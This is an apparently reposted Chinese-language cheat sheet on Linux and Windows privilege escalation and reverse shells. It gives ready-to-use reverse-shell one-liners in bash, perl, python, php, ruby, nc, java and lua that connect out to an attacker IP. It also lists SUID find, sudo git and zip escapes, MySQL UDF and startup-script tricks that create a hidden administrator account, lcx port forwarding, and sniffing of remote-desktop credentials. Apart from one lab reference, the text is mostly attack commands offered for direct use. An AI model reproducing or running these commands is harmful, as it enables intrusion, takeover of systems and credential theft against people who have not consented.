1. 程式人生 > 實用技巧 >提權以及反彈shell一些方法

提權以及反彈shell一些方法

提權以及反彈shell

netcat反彈shell

kali中使用nc(netcat)進行監聽 用法 : nv -lvvp 2333(埠號)

靶機中使用 bash -c 'bash -i >&/dev/tcp/192.168.1.1/2333 0>&1' 同樣可以寫成一句話木馬進行反彈shell。

命令提權

1、使用suid提權,找到一個屬於root的具有s許可權的檔案;s是提權符
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

例如:在DC-1中,首先touch新建一個檔案,然後執行

touch abcd
find abcd -exec whoami \;
find / -name abcd -exec "/bin/sh" \; #分號需要轉義,find以分號結尾

具有提權功能的Linux可執行檔案包括:

nmap
vim
find
bash
more
less
nano
cp

python反彈shell

#!/usr/bin/python
import os,subprocess,socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻擊機IP地址","攻擊機監聽埠"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
其他一些方法
#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

#perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

#python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

#php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

#ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

#nc版本:
nc -e /bin/sh 10.0.0.1 1234

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

#java版本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

#lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

git提權

sudo -l  檢視具有sudo執行許可權的命令
sudo git -p help或者 sudo git help config
!/bin/bash

zip提權

touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

tar提權

收集資訊:

內外網
伺服器系統和版本 位數
伺服器的補丁情況
伺服器的安裝軟體情況
伺服器的防護軟體情況
埠情況
支援指令碼情況

資訊收集常用命令:

Windows:

ipconfig /all
net user
netstat -ano
ver
systeminfo
tasklist /svc
taskkill -PID pid號
taskkill /im qq.exe /f
net user test 123456 /add
net localgroup administrators test /add
whoami

CMD無法執行

1、防護軟體攔截

2、CMD被降權

3、元件被刪除

找可讀寫目錄上傳cmd.exe,將執行的cmd.exe路徑替換成上傳的路徑

查詢3389埠

1、登錄檔讀取

2、工具掃描

3、命令探針

埠轉發

lcx

網站伺服器是內網IP:192.168.2.3

外網伺服器IP是:192.168.80.151

在內網伺服器上執行的lcx命令是:lcx.exe -slave 192.168.80.151 51 192.168.2.3 3389

在外網伺服器上執行的lcx命令是:lcx.exe -listen 51 3389

資料庫提權

MSSQL提權:安裝元件--->開啟3389---->建立使用者------>提升許可權------>完成

Mysql提權:

1、udf提權

獲取到對方資料庫使用者root的賬號密碼

檢視網站原始碼裡面資料庫配置檔案(common,config.php,common.inc.php,data)

檢視資料庫的配置檔案

暴力破解、mysql密碼破解、3306埠入侵

udf提權原理:

通過root許可權匯出udf.dll到系統目錄下,可以通過udf.dll呼叫執行cmd

匯出到\lib/plugin\安裝目錄下

create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user test 123456 /add');
select cmdshell('net localgroup administrators test /add');
drop function cmdshell //刪除函式

2、啟動項提權

1、檢視我們進入資料庫中有什麼表
show tables;
預設情況下,test中沒有任何表的存在
關鍵部分:
2、在test資料庫下建立一個新的表
create table a(cmd text);
表名為a,欄位名為cmd,為text文字
3、在表中插入資料
insert into a values ("set wshshell=createobject(""wscript.shell"")");
insert into a values ("a=wshshell.run(""cmd.exe /c net user test 123456 /add"",0)");
insert into a values ("b=wshshell.run(""cmd.exe /c net localgroup Administrators test /add"",0)")
雙引號和括號以及後面的0一定要輸入,用這三條命令建立一個vbs的指令碼程式!
4、檢視資料表
select * form a;
5、輸出表為一個vbs的指令碼檔案
select * from a into outfile "c://開機選單//啟動//a.vbs";
6、重啟

3、mof提權

4、反連埠提權

Windows提權:

開啟3389

使用批處理檔案開3389
使用sql語句開3389
使用exe開3389
使用vb開3389

使用wireshark或cain嗅探3389獲取賬號名和密碼

Linux提權:

uname -r 檢視核心版本資訊

找到對應版本的exp

上傳----編譯---執行----ok